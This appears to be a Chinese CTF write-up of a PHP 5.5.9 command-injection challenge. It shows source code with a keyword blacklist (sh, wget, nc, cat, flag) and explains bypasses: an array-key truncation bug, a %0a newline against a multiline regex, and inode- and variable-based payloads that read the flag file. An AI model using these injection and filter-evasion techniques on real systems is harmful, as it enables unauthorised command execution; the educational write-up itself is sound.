进入题目,直接就给出源码
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
分析代码,有一个system函数,但是需要绕过三处过滤。
$stuff === $array && $stuff[0] != 'admin'
preg_match("/^\d+$/im",$num)
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
首先看第一个,这个需要用到php的一个bug:
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)
原理是因为在php 5.5.9的版本中,有一句result=p1->h - p2->h
的操作,而两个h都是ulong,即unsigned long类型,但是result是int类型,这样赋值之后,会将低 32 位值送给 int 型变量,而将高 32 位截断舍弃。
因此 , 这里只要满足十六进制数的最后 8 位( 也就是二进制的低 32 位 )全为 0 即可 , 至于前面是多少都无所谓 , 反正高位数据都会被截断 .
再看第二个,需要$num的内容全部是数字,但是后面多了一个m的模式,表示支持多行,所以使用%0a即可绕过。
第三处,基本上把常用到的命令都给禁了,但还是有办法读取
使用inode
ls -i / #找到flag文件inode
tac `find / -inum 3673632`
设置变量
a=f;d=ag;c=l;tac /$a$c$d